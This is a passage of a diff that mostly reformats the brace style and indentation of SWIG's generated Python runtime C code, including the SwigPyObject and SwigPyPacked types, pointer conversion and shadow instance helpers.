sizeof(SwigPyObject), + 0, + Py_TPFLAGS_DEFAULT, + slots + }; + return (PyTypeObject *)PyType_FromSpec(&spec); #endif } SWIGRUNTIME PyObject * -SwigPyObject_New(void *ptr, swig_type_info *ty, int own) { - SwigPyObject *sobj = PyObject_New(SwigPyObject, SwigPyObject_type()); - if (sobj) { - sobj->ptr = ptr; - sobj->ty = ty; - sobj->own = own; - sobj->next = 0; +SwigPyObject_New(void *ptr, swig_type_info *ty, int own) +{ + SwigPyObject *sobj = PyObject_New(SwigPyObject, SwigPyObject_type()); + if (sobj) { + sobj->ptr = ptr; + sobj->ty = ty; + sobj->own = own; + sobj->next = 0; #ifdef SWIGPYTHON_BUILTIN - sobj->dict = 0; + sobj->dict = 0; #endif - if (own == SWIG_POINTER_OWN) { - /* Obtain a reference to the Python capsule wrapping the module information, so that the - * module information is correctly destroyed after all SWIG python objects have been freed - * by the GC (and corresponding destructors invoked) */ - Py_XINCREF(Swig_Capsule_global); - } + if (own == SWIG_POINTER_OWN) { + /* Obtain a reference to the Python capsule wrapping the module information, so that the + * module information is correctly destroyed after all SWIG python objects have been freed + * by the GC (and corresponding destructors invoked) */ + Py_XINCREF(Swig_Capsule_global); } - return (PyObject *)sobj; + } + return (PyObject *)sobj; } /* ----------------------------------------------------------------------------- @@ -2170,217 +2197,223 @@ SwigPyObject_New(void *ptr, swig_type_info *ty, int own) { * ----------------------------------------------------------------------------- */ typedef struct { - PyObject_HEAD - void *pack; - swig_type_info *ty; - size_t size; + PyObject_HEAD + void *pack; + swig_type_info *ty; + size_t size; } SwigPyPacked; SWIGRUNTIME PyObject * -SwigPyPacked_repr(SwigPyPacked *v) { - char result[SWIG_BUFFER_SIZE]; - if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { - return SWIG_Python_str_FromFormat("", result, v->ty->name); - } else { - return SWIG_Python_str_FromFormat("", v->ty->name); - } +SwigPyPacked_repr(SwigPyPacked *v) +{ + char result[SWIG_BUFFER_SIZE]; + if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { + return SWIG_Python_str_FromFormat("", result, v->ty->name); + } else { + return SWIG_Python_str_FromFormat("", v->ty->name); + } } SWIGRUNTIME PyObject * -SwigPyPacked_str(SwigPyPacked *v) { - char result[SWIG_BUFFER_SIZE]; - if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { - return SWIG_Python_str_FromFormat("%s%s", result, v->ty->name); - } else { - return SWIG_Python_str_FromChar(v->ty->name); - } +SwigPyPacked_str(SwigPyPacked *v) +{ + char result[SWIG_BUFFER_SIZE]; + if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))){ + return SWIG_Python_str_FromFormat("%s%s", result, v->ty->name); + } else { + return SWIG_Python_str_FromChar(v->ty->name); + } } SWIGRUNTIME int -SwigPyPacked_compare(SwigPyPacked *v, SwigPyPacked *w) { - size_t i = v->size; - size_t j = w->size; - int s = (i < j) ? -1 : ((i > j) ? 1 : 0); - return s ? s : strncmp((const char *)v->pack, (const char *)w->pack, 2 * v->size); +SwigPyPacked_compare(SwigPyPacked *v, SwigPyPacked *w) +{ + size_t i = v->size; + size_t j = w->size; + int s = (i < j) ? -1 : ((i > j) ? 1 : 0); + return s ? s : strncmp((const char *)v->pack, (const char *)w->pack, 2*v->size); } -SWIGRUNTIME PyTypeObject *SwigPyPacked_TypeOnce(void); +SWIGRUNTIME PyTypeObject* SwigPyPacked_TypeOnce(void); -SWIGRUNTIME PyTypeObject * +SWIGRUNTIME PyTypeObject* SwigPyPacked_type(void) { - static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyPacked_TypeOnce(); - return type; + static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyPacked_TypeOnce(); + return type; } SWIGRUNTIMEINLINE int SwigPyPacked_Check(PyObject *op) { - PyTypeObject *op_type = Py_TYPE(op); - if (op_type == SwigPyPacked_TypeOnce()) - return 1; + PyTypeObject* op_type = Py_TYPE(op); + if (op_type == SwigPyPacked_TypeOnce()) + return 1; #ifdef Py_LIMITED_API - int cmp; - PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); - if (!tp_name) - return 0; - cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyPacked"); - Py_DECREF(tp_name); - return cmp == 0; + int cmp; + PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); + if (!tp_name) + return 0; + cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyPacked"); + Py_DECREF(tp_name); + return cmp == 0; #else - return (strcmp(op_type->tp_name, "SwigPyPacked") == 0); + return (strcmp(op_type->tp_name, "SwigPyPacked") == 0); #endif } SWIGRUNTIME void -SwigPyPacked_dealloc(PyObject *v) { - if (SwigPyPacked_Check(v)) { - SwigPyPacked *sobj = (SwigPyPacked *) v; - free(sobj->pack); - } - PyObject_DEL(v); +SwigPyPacked_dealloc(PyObject *v) +{ + if (SwigPyPacked_Check(v)) { + SwigPyPacked *sobj = (SwigPyPacked *) v; + free(sobj->pack); + } + PyObject_DEL(v); } -SWIGRUNTIME PyTypeObject * +SWIGRUNTIME PyTypeObject* SwigPyPacked_TypeOnce(void) { - static char swigpacked_doc[] = "Swig object carries a C/C++ instance pointer"; + static char swigpacked_doc[] = "Swig object carries a C/C++ instance pointer"; #ifndef Py_LIMITED_API - static PyTypeObject swigpypacked_type; - static int type_init = 0; - if (!type_init) { - const PyTypeObject tmp = { + static PyTypeObject swigpypacked_type; + static int type_init = 0; + if (!type_init) { + const PyTypeObject tmp = { #if PY_VERSION_HEX>=0x03000000 - PyVarObject_HEAD_INIT(NULL, 0) + PyVarObject_HEAD_INIT(NULL, 0) #else - PyObject_HEAD_INIT(NULL) - 0, /* ob_size */ + PyObject_HEAD_INIT(NULL) + 0, /* ob_size */ #endif - "SwigPyPacked", /* tp_name */ - sizeof(SwigPyPacked), /* tp_basicsize */ - 0, /* tp_itemsize */ - (destructor)SwigPyPacked_dealloc, /* tp_dealloc */ + "SwigPyPacked", /* tp_name */ + sizeof(SwigPyPacked), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor)SwigPyPacked_dealloc, /* tp_dealloc */ #if PY_VERSION_HEX < 0x030800b4 - (printfunc)0, /*tp_print*/ + (printfunc)0, /*tp_print*/ #else - (Py_ssize_t)0, /*tp_vectorcall_offset*/ + (Py_ssize_t)0, /*tp_vectorcall_offset*/ #endif - (getattrfunc)0, /* tp_getattr */ - (setattrfunc)0, /* tp_setattr */ + (getattrfunc)0, /* tp_getattr */ + (setattrfunc)0, /* tp_setattr */ #if PY_VERSION_HEX>=0x03000000 - 0, /* tp_reserved in 3.0.1 */ + 0, /* tp_reserved in 3.0.1 */ #else - (cmpfunc)SwigPyPacked_compare, /* tp_compare */ + (cmpfunc)SwigPyPacked_compare, /* tp_compare */ #endif - (reprfunc)SwigPyPacked_repr, /* tp_repr */ - 0, /* tp_as_number */ - 0, /* tp_as_sequence */ - 0, /* tp_as_mapping */ - (hashfunc)0, /* tp_hash */ - (ternaryfunc)0, /* tp_call */ - (reprfunc)SwigPyPacked_str, /* tp_str */ - PyObject_GenericGetAttr, /* tp_getattro */ - 0, /* tp_setattro */ - 0, /* tp_as_buffer */ - Py_TPFLAGS_DEFAULT, /* tp_flags */ - swigpacked_doc, /* tp_doc */ - 0, /* tp_traverse */ - 0, /* tp_clear */ - 0, /* tp_richcompare */ - 0, /* tp_weaklistoffset */ - 0, /* tp_iter */ - 0, /* tp_iternext */ - 0, /* tp_methods */ - 0, /* tp_members */ - 0, /* tp_getset */ - 0, /* tp_base */ - 0, /* tp_dict */ - 0, /* tp_descr_get */ - 0, /* tp_descr_set */ - 0, /* tp_dictoffset */ - 0, /* tp_init */ - 0, /* tp_alloc */ - 0, /* tp_new */ - 0, /* tp_free */ - 0, /* tp_is_gc */ - 0, /* tp_bases */ - 0, /* tp_mro */ - 0, /* tp_cache */ - 0, /* tp_subclasses */ - 0, /* tp_weaklist */ - 0, /* tp_del */ - 0, /* tp_version_tag */ + (reprfunc)SwigPyPacked_repr, /* tp_repr */ + 0, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + (hashfunc)0, /* tp_hash */ + (ternaryfunc)0, /* tp_call */ + (reprfunc)SwigPyPacked_str, /* tp_str */ + PyObject_GenericGetAttr, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + Py_TPFLAGS_DEFAULT, /* tp_flags */ + swigpacked_doc, /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + 0, /* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0, /* tp_iter */ + 0, /* tp_iternext */ + 0, /* tp_methods */ + 0, /* tp_members */ + 0, /* tp_getset */ + 0, /* tp_base */ + 0, /* tp_dict */ + 0, /* tp_descr_get */ + 0, /* tp_descr_set */ + 0, /* tp_dictoffset */ + 0, /* tp_init */ + 0, /* tp_alloc */ + 0, /* tp_new */ + 0, /* tp_free */ + 0, /* tp_is_gc */ + 0, /* tp_bases */ + 0, /* tp_mro */ + 0, /* tp_cache */ + 0, /* tp_subclasses */ + 0, /* tp_weaklist */ + 0, /* tp_del */ + 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 - 0, /* tp_finalize */ + 0, /* tp_finalize */ #endif #if PY_VERSION_HEX >= 0x03080000 - 0, /* tp_vectorcall */ + 0, /* tp_vectorcall */ #endif #if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) - 0, /* tp_print */ + 0, /* tp_print */ #endif #if PY_VERSION_HEX >= 0x030C0000 - 0, /* tp_watched */ + 0, /* tp_watched */ #endif #ifdef COUNT_ALLOCS - 0, /* tp_allocs */ - 0, /* tp_frees */ - 0, /* tp_maxalloc */ - 0, /* tp_prev */ - 0 /* tp_next */ + 0, /* tp_allocs */ + 0, /* tp_frees */ + 0, /* tp_maxalloc */ + 0, /* tp_prev */ + 0 /* tp_next */ #endif - }; - swigpypacked_type = tmp; - type_init = 1; - if (PyType_Ready(&swigpypacked_type) != 0) - return NULL; - } - return &swigpypacked_type; + }; + swigpypacked_type = tmp; + type_init = 1; + if (PyType_Ready(&swigpypacked_type) != 0) + return NULL; + } + return &swigpypacked_type; #else - PyType_Slot slots[] = { - { Py_tp_dealloc, (void *)SwigPyPacked_dealloc }, - { Py_tp_repr, (void *)SwigPyPacked_repr }, - { Py_tp_str, (void *)SwigPyPacked_str }, - { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, - { Py_tp_doc, (void *)swigpacked_doc }, - { 0, NULL } - }; - PyType_Spec spec = { - "SwigPyPacked", - sizeof(SwigPyPacked), - 0, - Py_TPFLAGS_DEFAULT, - slots - }; - return (PyTypeObject *)PyType_FromSpec(&spec); + PyType_Slot slots[] = { + { Py_tp_dealloc, (void *)SwigPyPacked_dealloc }, + { Py_tp_repr, (void *)SwigPyPacked_repr }, + { Py_tp_str, (void *)SwigPyPacked_str }, + { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, + { Py_tp_doc, (void *)swigpacked_doc }, + { 0, NULL } + }; + PyType_Spec spec = { + "SwigPyPacked", + sizeof(SwigPyPacked), + 0, + Py_TPFLAGS_DEFAULT, + slots + }; + return (PyTypeObject *)PyType_FromSpec(&spec); #endif } SWIGRUNTIME PyObject * -SwigPyPacked_New(void *ptr, size_t size, swig_type_info *ty) { - SwigPyPacked *sobj = PyObject_New(SwigPyPacked, SwigPyPacked_type()); - if (sobj) { - void *pack = malloc(size); - if (pack) { - memcpy(pack, ptr, size); - sobj->pack = pack; - sobj->ty = ty; - sobj->size = size; - } else { - PyObject_DEL((PyObject *) sobj); - sobj = 0; - } +SwigPyPacked_New(void *ptr, size_t size, swig_type_info *ty) +{ + SwigPyPacked *sobj = PyObject_New(SwigPyPacked, SwigPyPacked_type()); + if (sobj) { + void *pack = malloc(size); + if (pack) { + memcpy(pack, ptr, size); + sobj->pack = pack; + sobj->ty = ty; + sobj->size = size; + } else { + PyObject_DEL((PyObject *) sobj); + sobj = 0; } - return (PyObject *) sobj; + } + return (PyObject *) sobj; } SWIGRUNTIME swig_type_info * -SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) { - if (SwigPyPacked_Check(obj)) { - SwigPyPacked *sobj = (SwigPyPacked *)obj; - if (sobj->size != size) return 0; - memcpy(ptr, sobj->pack, size); - return sobj->ty; - } else { - return 0; - } +SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) +{ + if (SwigPyPacked_Check(obj)) { + SwigPyPacked *sobj = (SwigPyPacked *)obj; + if (sobj->size != size) return 0; + memcpy(ptr, sobj->pack, size); + return sobj->ty; + } else { + return 0; + } } /* ----------------------------------------------------------------------------- @@ -2390,79 +2423,81 @@ SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) { static PyObject *Swig_This_global = NULL; SWIGRUNTIME PyObject * -SWIG_This(void) { - if (Swig_This_global == NULL) - Swig_This_global = SWIG_Python_str_FromChar("this"); - return Swig_This_global; +SWIG_This(void) +{ + if (Swig_This_global == NULL) + Swig_This_global = SWIG_Python_str_FromChar("this"); + return Swig_This_global; } /* #define SWIG_PYTHON_SLOW_GETSET_THIS */ /* TODO: I don't know how to implement the fast getset in Python 3 right now */ #if PY_VERSION_HEX>=0x03000000 -#define SWIG_PYTHON_SLOW_GETSET_THIS +#define SWIG_PYTHON_SLOW_GETSET_THIS #endif SWIGRUNTIME SwigPyObject * -SWIG_Python_GetSwigThis(PyObject *pyobj) { - PyObject *obj; +SWIG_Python_GetSwigThis(PyObject *pyobj) +{ + PyObject *obj; - if (SwigPyObject_Check(pyobj)) - return (SwigPyObject *) pyobj; + if (SwigPyObject_Check(pyobj)) + return (SwigPyObject *) pyobj; #ifdef SWIGPYTHON_BUILTIN - (void)obj; + (void)obj; # ifdef PyWeakref_CheckProxy - if (PyWeakref_CheckProxy(pyobj)) { - pyobj = PyWeakref_GET_OBJECT(pyobj); - if (pyobj && SwigPyObject_Check(pyobj)) - return (SwigPyObject *) pyobj; - } + if (PyWeakref_CheckProxy(pyobj)) { + pyobj = PyWeakref_GET_OBJECT(pyobj); + if (pyobj && SwigPyObject_Check(pyobj)) + return (SwigPyObject*) pyobj; + } # endif - return NULL; + return NULL; #else - obj = 0; + obj = 0; #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) - if (PyInstance_Check(pyobj)) { - obj = _PyInstance_Lookup(pyobj, SWIG_This()); + if (PyInstance_Check(pyobj)) { + obj = _PyInstance_Lookup(pyobj, SWIG_This()); + } else { + PyObject **dictptr = _PyObject_GetDictPtr(pyobj); + if (dictptr != NULL) { + PyObject *dict = *dictptr; + obj = dict ? PyDict_GetItem(dict, SWIG_This()) : 0; } else { - PyObject **dictptr = _PyObject_GetDictPtr(pyobj); - if (dictptr != NULL) { - PyObject *dict = *dictptr; - obj = dict ? PyDict_GetItem(dict, SWIG_This()) : 0; - } else { #ifdef PyWeakref_CheckProxy - if (PyWeakref_CheckProxy(pyobj)) { - PyObject *wobj = PyWeakref_GET_OBJECT(pyobj); - return wobj ? SWIG_Python_GetSwigThis(wobj) : 0; - } + if (PyWeakref_CheckProxy(pyobj)) { + PyObject *wobj = PyWeakref_GET_OBJECT(pyobj); + return wobj ? SWIG_Python_GetSwigThis(wobj) : 0; + } #endif - obj = PyObject_GetAttr(pyobj, SWIG_This()); - if (obj) { - Py_DECREF(obj); - } else { - if (PyErr_Occurred()) PyErr_Clear(); - return 0; - } - } + obj = PyObject_GetAttr(pyobj,SWIG_This()); + if (obj) { + Py_DECREF(obj); + } else { + if (PyErr_Occurred()) PyErr_Clear(); + return 0; + } } + } #else - obj = PyObject_GetAttr(pyobj, SWIG_This()); - if (obj) { - Py_DECREF(obj); - } else { - if (PyErr_Occurred()) PyErr_Clear(); - return 0; - } + obj = PyObject_GetAttr(pyobj,SWIG_This()); + if (obj) { + Py_DECREF(obj); + } else { + if (PyErr_Occurred()) PyErr_Clear(); + return 0; + } #endif - if (obj && !SwigPyObject_Check(obj)) { - /* a PyObject is called 'this', try to get the 'real this' - SwigPyObject from it */ - return SWIG_Python_GetSwigThis(obj); - } - return (SwigPyObject *)obj; + if (obj && !SwigPyObject_Check(obj)) { + /* a PyObject is called 'this', try to get the 'real this' + SwigPyObject from it */ + return SWIG_Python_GetSwigThis(obj); + } + return (SwigPyObject *)obj; #endif } @@ -2470,183 +2505,183 @@ SWIG_Python_GetSwigThis(PyObject *pyobj) { SWIGRUNTIME int SWIG_Python_AcquirePtr(PyObject *obj, int own) { - if (own == SWIG_POINTER_OWN) { - SwigPyObject *sobj = SWIG_Python_GetSwigThis(obj); - if (sobj) { - int oldown = sobj->own; - sobj->own = own; - return oldown; - } + if (own == SWIG_POINTER_OWN) { + SwigPyObject *sobj = SWIG_Python_GetSwigThis(obj); + if (sobj) { + int oldown = sobj->own; + sobj->own = own; + return oldown; } - return 0; + } + return 0; } /* Convert a pointer value */ SWIGRUNTIME int SWIG_Python_ConvertPtrAndOwn(PyObject *obj, void **ptr, swig_type_info *ty, int flags, int *own) { - int res; - SwigPyObject *sobj; - int implicit_conv = (flags & SWIG_POINTER_IMPLICIT_CONV) != 0; + int res; + SwigPyObject *sobj; + int implicit_conv = (flags & SWIG_POINTER_IMPLICIT_CONV) != 0; - if (!obj) - return SWIG_ERROR; - if (obj == Py_None && !implicit_conv) { - if (ptr) - *ptr = 0; - return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; - } + if (!obj) + return SWIG_ERROR; + if (obj == Py_None && !implicit_conv) { + if (ptr) + *ptr = 0; + return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; + } - res = SWIG_ERROR; + res = SWIG_ERROR; - sobj = SWIG_Python_GetSwigThis(obj); - if (own) - *own = 0; - while (sobj) { - void *vptr = sobj->ptr; - if (ty) { - swig_type_info *to = sobj->ty; - if (to == ty) { - /* no type cast needed */ - if (ptr) *ptr = vptr; - break; - } else { - swig_cast_info *tc = SWIG_TypeCheck(to->name, ty); - if (!tc) { - sobj = (SwigPyObject *)sobj->next; - } else { - if (ptr) { - int newmemory = 0; - *ptr = SWIG_TypeCast(tc, vptr, &newmemory); - if (newmemory == SWIG_CAST_NEW_MEMORY) { - assert(own); /* badly formed typemap which will lead to a memory leak - it must set and use own to delete *ptr */ - if (own) - *own = *own | SWIG_CAST_NEW_MEMORY; - } - } - break; - } - } + sobj = SWIG_Python_GetSwigThis(obj); + if (own) + *own = 0; + while (sobj) { + void *vptr = sobj->ptr; + if (ty) { + swig_type_info *to = sobj->ty; + if (to == ty) { + /* no type cast needed */ + if (ptr) *ptr = vptr; + break; + } else { + swig_cast_info *tc = SWIG_TypeCheck(to->name,ty); + if (!tc) { + sobj = (SwigPyObject *)sobj->next; } else { - if (ptr) *ptr = vptr; - break; - } - } - if (sobj) { - if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !sobj->own) { - res = SWIG_ERROR_RELEASE_NOT_OWNED; - } else { - if (own) - *own = *own | sobj->own; - if (flags & SWIG_POINTER_DISOWN) { - sobj->own = 0; + if (ptr) { + int newmemory = 0; + *ptr = SWIG_TypeCast(tc,vptr,&newmemory); + if (newmemory == SWIG_CAST_NEW_MEMORY) { + assert(own); /* badly formed typemap which will lead to a memory leak - it must set and use own to delete *ptr */ + if (own) + *own = *own | SWIG_CAST_NEW_MEMORY; } - if (flags & SWIG_POINTER_CLEAR) { - sobj->ptr = 0; - } - res = SWIG_OK; + } + break; } + } } else { - if (implicit_conv) { - SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; - if (data && !data->implicitconv) { - PyObject *klass = data->klass; - if (klass) { - PyObject *impconv; - data->implicitconv = 1; /* avoid recursion and call 'explicit' constructors*/ - impconv = SWIG_Python_CallFunctor(klass, obj); - data->implicitconv = 0; - if (PyErr_Occurred()) { - PyErr_Clear(); - impconv = 0; - } - if (impconv) { - SwigPyObject *iobj = SWIG_Python_GetSwigThis(impconv); - if (iobj) { - void *vptr; - res = SWIG_Python_ConvertPtrAndOwn((PyObject *)iobj, &vptr, ty, 0, 0); - if (SWIG_IsOK(res)) { - if (ptr) { - *ptr = vptr; - /* transfer the ownership to 'ptr' */ - iobj->own = 0; - res = SWIG_AddCast(res); - res = SWIG_AddNewMask(res); - } else { - res = SWIG_AddCast(res); - } - } - } - Py_DECREF(impconv); - } - } - } - if (!SWIG_IsOK(res) && obj == Py_None) { - if (ptr) - *ptr = 0; - if (PyErr_Occurred()) - PyErr_Clear(); - res = SWIG_OK; - } - } + if (ptr) *ptr = vptr; + break; } - return res; + } + if (sobj) { + if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !sobj->own) { + res = SWIG_ERROR_RELEASE_NOT_OWNED; + } else { + if (own) + *own = *own | sobj->own; + if (flags & SWIG_POINTER_DISOWN) { + sobj->own = 0; + } + if (flags & SWIG_POINTER_CLEAR) { + sobj->ptr = 0; + } + res = SWIG_OK; + } + } else { + if (implicit_conv) { + SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; + if (data && !data->implicitconv) { + PyObject *klass = data->klass; + if (klass) { + PyObject *impconv; + data->implicitconv = 1; /* avoid recursion and call 'explicit' constructors*/ + impconv = SWIG_Python_CallFunctor(klass, obj); + data->implicitconv = 0; + if (PyErr_Occurred()) { + PyErr_Clear(); + impconv = 0; + } + if (impconv) { + SwigPyObject *iobj = SWIG_Python_GetSwigThis(impconv); + if (iobj) { + void *vptr; + res = SWIG_Python_ConvertPtrAndOwn((PyObject*)iobj, &vptr, ty, 0, 0); + if (SWIG_IsOK(res)) { + if (ptr) { + *ptr = vptr; + /* transfer the ownership to 'ptr' */ + iobj->own = 0; + res = SWIG_AddCast(res); + res = SWIG_AddNewMask(res); + } else { + res = SWIG_AddCast(res); + } + } + } + Py_DECREF(impconv); + } + } + } + if (!SWIG_IsOK(res) && obj == Py_None) { + if (ptr) + *ptr = 0; + if (PyErr_Occurred()) + PyErr_Clear(); + res = SWIG_OK; + } + } + } + return res; } /* Convert a function ptr value */ SWIGRUNTIME int SWIG_Python_ConvertFunctionPtr(PyObject *obj, void **ptr, swig_type_info *ty) { - if (!PyCFunction_Check(obj)) { - return SWIG_ConvertPtr(obj, ptr, ty, 0); - } else { - void *vptr = 0; - swig_cast_info *tc; + if (!PyCFunction_Check(obj)) { + return SWIG_ConvertPtr(obj, ptr, ty, 0); + } else { + void *vptr = 0; + swig_cast_info *tc; - /* here we get the method pointer for callbacks */ + /* here we get the method pointer for callbacks */ #ifndef Py_LIMITED_API - const char *doc = (((PyCFunctionObject *)obj) -> m_ml -> ml_doc); + const char *doc = (((PyCFunctionObject *)obj) -> m_ml -> ml_doc); #else - PyObject *pystr_doc = PyObject_GetAttrString(obj, "__doc__"); - PyObject *bytes = NULL; - const char *doc = pystr_doc ? SWIG_PyUnicode_AsUTF8AndSize(pystr_doc, NULL, &bytes) : 0; + PyObject* pystr_doc = PyObject_GetAttrString(obj, "__doc__"); + PyObject *bytes = NULL; + const char *doc = pystr_doc ? SWIG_PyUnicode_AsUTF8AndSize(pystr_doc, NULL, &bytes) : 0; #endif - const char *desc = doc ? strstr(doc, "swig_ptr: ") : 0; - if (desc) - desc = ty ? SWIG_UnpackVoidPtr(desc + 10, &vptr, ty->name) : 0; + const char *desc = doc ? strstr(doc, "swig_ptr: ") : 0; + if (desc) + desc = ty ? SWIG_UnpackVoidPtr(desc + 10, &vptr, ty->name) : 0; #ifdef Py_LIMITED_API - Py_XDECREF(bytes); - Py_XDECREF(pystr_doc); + Py_XDECREF(bytes); + Py_XDECREF(pystr_doc); #endif - if (!desc) - return SWIG_ERROR; - tc = SWIG_TypeCheck(desc, ty); - if (tc) { - int newmemory = 0; - *ptr = SWIG_TypeCast(tc, vptr, &newmemory); - assert(!newmemory); /* newmemory handling not yet implemented */ - } else { - return SWIG_ERROR; - } - return SWIG_OK; + if (!desc) + return SWIG_ERROR; + tc = SWIG_TypeCheck(desc,ty); + if (tc) { + int newmemory = 0; + *ptr = SWIG_TypeCast(tc,vptr,&newmemory); + assert(!newmemory); /* newmemory handling not yet implemented */ + } else { + return SWIG_ERROR; } + return SWIG_OK; + } } /* Convert a packed pointer value */ SWIGRUNTIME int SWIG_Python_ConvertPacked(PyObject *obj, void *ptr, size_t sz, swig_type_info *ty) { - swig_type_info *to = SwigPyPacked_UnpackData(obj, ptr, sz); - if (!to) return SWIG_ERROR; - if (ty) { - if (to != ty) { - /* check type cast? */ - swig_cast_info *tc = SWIG_TypeCheck(to->name, ty); - if (!tc) return SWIG_ERROR; - } + swig_type_info *to = SwigPyPacked_UnpackData(obj, ptr, sz); + if (!to) return SWIG_ERROR; + if (ty) { + if (to != ty) { + /* check type cast? */ + swig_cast_info *tc = SWIG_TypeCheck(to->name,ty); + if (!tc) return SWIG_ERROR; } - return SWIG_OK; -} + } + return SWIG_OK; +} /* ----------------------------------------------------------------------------- * Create a new pointer object @@ -2657,179 +2692,181 @@ SWIG_Python_ConvertPacked(PyObject *obj, void *ptr, size_t sz, swig_type_info *t 'this' attribute. */ -SWIGRUNTIME PyObject * -SWIG_Python_NewShadowInstance(SwigPyClientData *data, PyObject *swig_this) { - PyObject *inst = 0; - PyObject *newraw = data->newraw; - if (newraw) { - inst = PyObject_Call(newraw, data->newargs, NULL); - if (inst) { +SWIGRUNTIME PyObject* +SWIG_Python_NewShadowInstance(SwigPyClientData *data, PyObject *swig_this) +{ + PyObject *inst = 0; + PyObject *newraw = data->newraw; + if (newraw) { + inst = PyObject_Call(newraw, data->newargs, NULL); + if (inst) { #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) - PyObject **dictptr = _PyObject_GetDictPtr(inst); - if (dictptr != NULL) { - PyObject *dict = *dictptr; - if (dict == NULL) { - dict = PyDict_New(); - *dictptr = dict; - } - if (dict) { - PyDict_SetItem(dict, SWIG_This(), swig_this); - } else { - Py_DECREF(inst); - inst = 0; - } - } -#else - if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { - Py_DECREF(inst); - inst = 0; - } -#endif + PyObject **dictptr = _PyObject_GetDictPtr(inst); + if (dictptr != NULL) { + PyObject *dict = *dictptr; + if (dict == NULL) { + dict = PyDict_New(); + *dictptr = dict; } - } else { -#if PY_VERSION_HEX >= 0x03000000 - PyObject *empty_args = PyTuple_New(0); - if (empty_args) { - PyObject *empty_kwargs = PyDict_New(); - if (empty_kwargs) { -#ifndef Py_LIMITED_API - newfunc newfn = ((PyTypeObject *)data->newargs)->tp_new; -#else - newfunc newfn = (newfunc)PyType_GetSlot((PyTypeObject *)data->newargs, Py_tp_new); -#endif - inst = newfn((PyTypeObject *)data->newargs, empty_args, empty_kwargs); - Py_DECREF(empty_kwargs); - if (inst) { - if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { - Py_DECREF(inst); - inst = 0; - } else { - PyType_Modified(Py_TYPE(inst)); - } - } - } - Py_DECREF(empty_args); - } -#else - PyObject *dict = PyDict_New(); if (dict) { - PyDict_SetItem(dict, SWIG_This(), swig_this); - inst = PyInstance_NewRaw(data->newargs, dict); - Py_DECREF(dict); + PyDict_SetItem(dict, SWIG_This(), swig_this); + } else{ + Py_DECREF(inst); + inst = 0; } + } +#else + if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { + Py_DECREF(inst); + inst = 0; + } #endif } - return inst; + } else { +#if PY_VERSION_HEX >= 0x03000000 + PyObject *empty_args = PyTuple_New(0); + if (empty_args) { + PyObject *empty_kwargs = PyDict_New(); + if (empty_kwargs) { +#ifndef Py_LIMITED_API + newfunc newfn = ((PyTypeObject *)data->newargs)->tp_new; +#else + newfunc newfn = (newfunc)PyType_GetSlot((PyTypeObject *)data->newargs, Py_tp_new); +#endif + inst = newfn((PyTypeObject *)data->newargs, empty_args, empty_kwargs); + Py_DECREF(empty_kwargs); + if (inst) { + if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { + Py_DECREF(inst); + inst = 0; + } else { + PyType_Modified(Py_TYPE(inst)); + } + } + } + Py_DECREF(empty_args); + } +#else + PyObject *dict = PyDict_New(); + if (dict) { + PyDict_SetItem(dict, SWIG_This(), swig_this); + inst = PyInstance_NewRaw(data->newargs, dict); + Py_DECREF(dict); + } +#endif + } + return inst; } SWIGRUNTIME int -SWIG_Python_SetSwigThis(PyObject *inst, PyObject *swig_this) { +SWIG_Python_SetSwigThis(PyObject *inst, PyObject *swig_this) +{ #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) - PyObject **dictptr = _PyObject_GetDictPtr(inst); - if (dictptr != NULL) { - PyObject *dict = *dictptr; - if (dict == NULL) { - dict = PyDict_New(); - *dictptr = dict; - } - if (dict) { - return PyDict_SetItem(dict, SWIG_This(), swig_this); - } else { - return -1; - } + PyObject **dictptr = _PyObject_GetDictPtr(inst); + if (dictptr != NULL) { + PyObject *dict = *dictptr; + if (dict == NULL) { + dict = PyDict_New(); + *dictptr = dict; } + if (dict) { + return PyDict_SetItem(dict, SWIG_This(), swig_this); + } else{ + return -1; + } + } #endif - return PyObject_SetAttr(inst, SWIG_This(), swig_this); -} + return PyObject_SetAttr(inst, SWIG_This(), swig_this); +} SWIGINTERN PyObject * SWIG_Python_InitShadowInstance(PyObject *args) { - PyObject *obj[2]; - if (!SWIG_Python_UnpackTuple(args, "swiginit", 2, 2, obj)) { - return NULL; + PyObject *obj[2]; + if (!SWIG_Python_UnpackTuple(args, "swiginit", 2, 2, obj)) { + return NULL; + } else { + SwigPyObject *sthis = SWIG_Python_GetSwigThis(obj[0]); + if (sthis) { + 